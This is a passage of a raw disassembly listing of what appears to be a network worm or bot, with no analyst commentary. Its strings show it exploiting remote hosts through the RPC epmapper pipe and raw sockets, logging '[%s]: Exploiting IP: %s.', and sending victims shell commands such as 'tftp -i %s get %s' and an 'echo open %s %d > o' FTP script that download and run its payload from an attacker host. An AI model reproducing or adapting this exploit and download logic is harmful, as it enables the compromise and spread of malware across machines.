		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D958
		cmp	eax, edi
		jnb	short loc_40D970

loc_40D958:				; CODE XREF: sub_40D8F2+60j
		push	1
		mov	ecx, esi
		call	sub_40D977
		jmp	short loc_40D968
; ---------------------------------------------------------------------------

loc_40D963:				; CODE XREF: sub_40D8F2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D970

loc_40D968:				; CODE XREF: sub_40D8F2+28j
					; sub_40D8F2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40DA4F

loc_40D970:				; CODE XREF: sub_40D8F2+64j
					; sub_40D8F2+74j
		mov	al, 1

loc_40D972:				; CODE XREF: sub_40D8F2+39j
		pop	edi
		pop	esi
		retn	8
sub_40D8F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D977	proc near		; CODE XREF: sub_40D340+1Fp
					; sub_40D340+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D9A3
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D9A3
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D99C
		cmp	al, 0FFh
		jz	short loc_40D99C
		dec	al
		mov	[ecx], al
		jmp	short loc_40D9A3
; ---------------------------------------------------------------------------

loc_40D99C:				; CODE XREF: sub_40D977+19j
					; sub_40D977+1Dj
		push	ecx
		call	sub_41D65F
		pop	ecx

loc_40D9A3:				; CODE XREF: sub_40D977+8j
					; sub_40D977+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D977	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9B3	proc near		; CODE XREF: ___:0040D6D3p
					; sub_40DB0C+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D9E1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_40D9E1:				; CODE XREF: sub_40D9B3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9E8	proc near		; CODE XREF: sub_40D824+39p
					; sub_40D824+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D9FB
		call	sub_426173

loc_40D9FB:				; CODE XREF: sub_40D9E8+Cj
		mov	ecx, edi
		call	sub_40DB0C
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40DA11
		mov	ebx, eax

loc_40DA11:				; CODE XREF: sub_40D9E8+25j
		test	ebx, ebx
		jbe	short loc_40DA47
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41D670
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40DA47
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0

loc_40DA47:				; CODE XREF: sub_40D9E8+2Bj
					; sub_40D9E8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D9E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA4F	proc near		; CODE XREF: sub_40D8F2+79p
		mov	eax, offset loc_426AD0
		call	sub_41D640
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40DA75
		mov	edi, [ebp+8]

loc_40DA75:				; CODE XREF: sub_40DA4F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40DA82
		xor	eax, eax

loc_40DA82:				; CODE XREF: sub_40DA4F+2Fj
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40DAB3
; ---------------------------------------------------------------------------

loc_40DA8E:				; DATA XREF: ___:00427F84o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40DA9D
		xor	eax, eax

loc_40DA9D:				; CODE XREF: sub_40DA4F+4Aj
		push	eax
		call	sub_41D9A5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40DAAD
		retn
; ---------------------------------------------------------------------------

loc_40DAAD:				; DATA XREF: sub_40DA4F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]

loc_40DAB3:				; CODE XREF: sub_40DA4F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40DAD1
		cmp	eax, edi
		jbe	short loc_40DAC0
		mov	eax, edi

loc_40DAC0:				; CODE XREF: sub_40DA4F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41CD20
		add	esp, 0Ch

loc_40DAD1:				; CODE XREF: sub_40DA4F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D977
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40DAF1
		mov	edi, ebx

loc_40DAF1:				; CODE XREF: sub_40DA4F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40DA4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB0C	proc near		; CODE XREF: sub_40D9E8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40DB39
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40DB39
		cmp	al, 0FFh
		jz	short loc_40DB39
		push	1
		call	sub_40D977
		push	esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D9B3

loc_40DB39:				; CODE XREF: sub_40DB0C+9j
					; sub_40DB0C+10j ...
		pop	edi
		pop	esi
		retn
sub_40DB0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB3C	proc near		; DATA XREF: ___:00429008o
		test	byte_4DC028, 1
		jnz	short loc_40DB4C
		or	byte_4DC028, 1

loc_40DB4C:				; CODE XREF: sub_40DB3C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41DA20
		pop	ecx
		retn
sub_40DB3C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB5E	proc near		; CODE XREF: ___:0040DF74p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_432958
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset off_432950
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43DB98
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		nop
		call	near ptr 2700000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_4CE704
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_4CBA84
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_40DC22
		cmp	eax, ebx
		jnz	short loc_40DC2C

loc_40DC22:				; CODE XREF: sub_40DB5E+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_4CBA84

loc_40DC2C:				; CODE XREF: sub_40DB5E+C2j
		cmp	eax, 5
		jz	short loc_40DC3A
		cmp	eax, ebx
		jz	short loc_40DC3A
		push	1
		pop	eax
		jmp	short loc_40DC3C
; ---------------------------------------------------------------------------

loc_40DC3A:				; CODE XREF: sub_40DB5E+D1j
					; sub_40DB5E+D5j
		xor	eax, eax

loc_40DC3C:				; CODE XREF: sub_40DB5E+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DB5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC41	proc near		; CODE XREF: ___:0040DFC6p
					; ___:0040E0A6p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_432958
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset off_432950
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43DB98
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		nop
		call	near ptr 2700000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		add	esp, 10h

loc_40DCD2:				; CODE XREF: sub_40DC41+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_4CB91C
		test	eax, eax
		jz	short loc_40DCF2
		push	7D0h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_40DCD2
; ---------------------------------------------------------------------------

loc_40DCF2:				; CODE XREF: sub_40DC41+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_40DC41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCF9	proc near		; CODE XREF: ___:0040DFF5p
					; ___:0040E133p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_41C500
		push	esi
		push	edi
		push	offset byte_42910C
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_40B22B
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_40DF48
		push	ebx
		mov	ebx, offset off_43286C
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [edi+0D7h]

loc_40DD7E:				; CODE XREF: sub_40DCF9+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_40DDCE
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_40DD7E
; ---------------------------------------------------------------------------

loc_40DDCE:				; CODE XREF: sub_40DCF9+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_40DDE9
		cmp	[ebp+arg_C0], 3
		jz	short loc_40DDF2
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40DDF0
; ---------------------------------------------------------------------------

loc_40DDE9:				; CODE XREF: sub_40DCF9+DCj
		cmp	[ebp+arg_C0], 3

loc_40DDF0:				; CODE XREF: sub_40DCF9+EEj
		jnz	short loc_40DDFB

loc_40DDF2:				; CODE XREF: sub_40DCF9+E5j
		push	4
		push	offset dword_43294C
		jmp	short loc_40DE02
; ---------------------------------------------------------------------------

loc_40DDFB:				; CODE XREF: sub_40DCF9:loc_40DDF0j
		push	4
		push	offset dword_432948

loc_40DE02:				; CODE XREF: sub_40DCF9+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_432480
		push	eax
		call	sub_41CD20
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4327E4
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_41CD20
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_4327F8
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		add	edi, 3Ch
		push	30h
		push	offset dword_432838
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_41BEB5
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_41BF70
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_41CD20
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx

loc_40DF48:				; CODE XREF: sub_40DCF9+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40DCF9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_41C500
		cmp	dword ptr [ebp+0A8h], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_40E0BA
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DB5E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1CA
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-338h]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp-338h]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		nop
		call	near ptr 2720000h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DFD1

loc_40DFC2:				; CODE XREF: ___:0040E072j
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		pop	ecx
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------

loc_40DFD1:				; CODE XREF: ___:0040DFC0j
		lea	eax, [ebp+0Ch]
		push	2
		push	eax
		call	sub_4182CD
		pop	ecx
		lea	esi, [ebp+8]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp-8], eax
		jz	short loc_40E069
		mov	edi, 186A0h
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 10h
		lea	eax, [ebp-0Ch]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_432434
		push	dword ptr [ebp-4]
		call	near ptr 27107D0h
		nop
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_40E059
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_40E077

loc_40E059:				; CODE XREF: ___:0040E03Fj
		push	esi
		call	sub_41BA91
		push	dword ptr [ebp-8]
		call	sub_41BA91
		pop	ecx
		pop	ecx

loc_40E069:				; CODE XREF: ___:0040E005j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2670000h
		jmp	loc_40DFC2
; ---------------------------------------------------------------------------

loc_40E077:				; CODE XREF: ___:0040E057j
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp-4]
		call	near ptr 270116Ch
		nop
		push	dword ptr [ebp-8]
		mov	edi, eax
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		cmp	edi, 1
		pop	ecx
		jnz	loc_40E1DE
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------

loc_40E0BA:				; CODE XREF: ___:0040DF66j
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_4182CD
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_40E1CA
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_4CBA64
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_40E1CA
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-24h], 2
		push	dword ptr [ebp+0A8h]
		call	dword_4CB9E4
		mov	[ebp-22h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA24
		mov	[ebp-20h], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	esi
		push	eax
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40E14C
		push	dword ptr [ebp-4]
		jmp	short loc_40E1C4
; ---------------------------------------------------------------------------

loc_40E14C:				; CODE XREF: ___:0040E145j
		mov	edi, [ebp-4]
		lea	eax, [ebp-24h]
		push	10h
		push	eax
		push	edi
		call	dword_4CB98C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E164

loc_40E161:				; CODE XREF: ___:0040E176j
		push	esi
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------

loc_40E164:				; CODE XREF: ___:0040E15Fj
		push	ebx
		push	48h
		push	offset dword_432434
		push	edi
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E161
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9FC
		push	ebx
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	edi
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1A5
		push	dword ptr [ebp-8]
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------

loc_40E1A5:				; CODE XREF: ___:0040E19Ej
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9FC
		push	dword ptr [ebp-8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1D1

loc_40E1BD:				; CODE XREF: ___:0040E162j
					; ___:0040E1A3j
		call	sub_41BA91
		pop	ecx
		push	edi

loc_40E1C4:				; CODE XREF: ___:0040E14Aj
		call	dword_4CBA7C

loc_40E1CA:				; CODE XREF: ___:0040DF7Dj
					; ___:0040DFCCj ...
		xor	eax, eax
		jmp	loc_40E28D
; ---------------------------------------------------------------------------

loc_40E1D1:				; CODE XREF: ___:0040E1BBj
		call	sub_41BA91
		pop	ecx
		push	edi
		call	dword_4CBA7C

loc_40E1DE:				; CODE XREF: ___:0040E0AFj
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-234h]
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	esi, esi

loc_40E1F8:				; CODE XREF: ___:0040E218j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415E19
		test	eax, eax
		pop	ecx
		jnz	short loc_40E21C
		push	1388h
		nop
		call	near ptr 2680F3Dh
		inc	esi
		cmp	esi, 6
		jl	short loc_40E1F8
		jmp	short loc_40E28A
; ---------------------------------------------------------------------------

loc_40E21C:				; CODE XREF: ___:0040E207j
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		lea	eax, [ebp-234h]
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+0BCh], ebx
		jnz	short loc_40E268
		push	ebx
		lea	eax, [ebp-234h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		add	esp, 14h

loc_40E268:				; CODE XREF: ___:0040E249j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		inc	dword_431810[eax]
		lea	eax, dword_431810[eax]

loc_40E28A:				; CODE XREF: ___:0040E21Aj
		push	1
		pop	eax

loc_40E28D:				; CODE XREF: ___:0040E1CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E292	proc near		; CODE XREF: sub_40E3F1+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CBA24
		mov	[ebp+var_C], eax
		mov	ax, word_4332A0
		push	eax
		call	dword_4CB9E4
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4CBA64
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E3CA
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB98C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E3CA
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9FC
		mov	edi, offset byte_42910C
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		mov	esi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		push	dword_4CB720
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E3CA
		push	1F4h
		nop
		call	near ptr 2680F3Dh
		push	edi
		push	offset dword_42A2EC
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E3CE

loc_40E3CA:				; CODE XREF: sub_40E292+51j
					; sub_40E292+67j ...
		xor	al, al
		jmp	short loc_40E3EC
; ---------------------------------------------------------------------------

loc_40E3CE:				; CODE XREF: sub_40E292+136j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9FC
		push	ebx
		call	dword_4CBA7C
		mov	al, 1

loc_40E3EC:				; CODE XREF: sub_40E292+13Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E3F1	proc near		; CODE XREF: ___:0040E946p
					; ___:0040E968p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_41C500
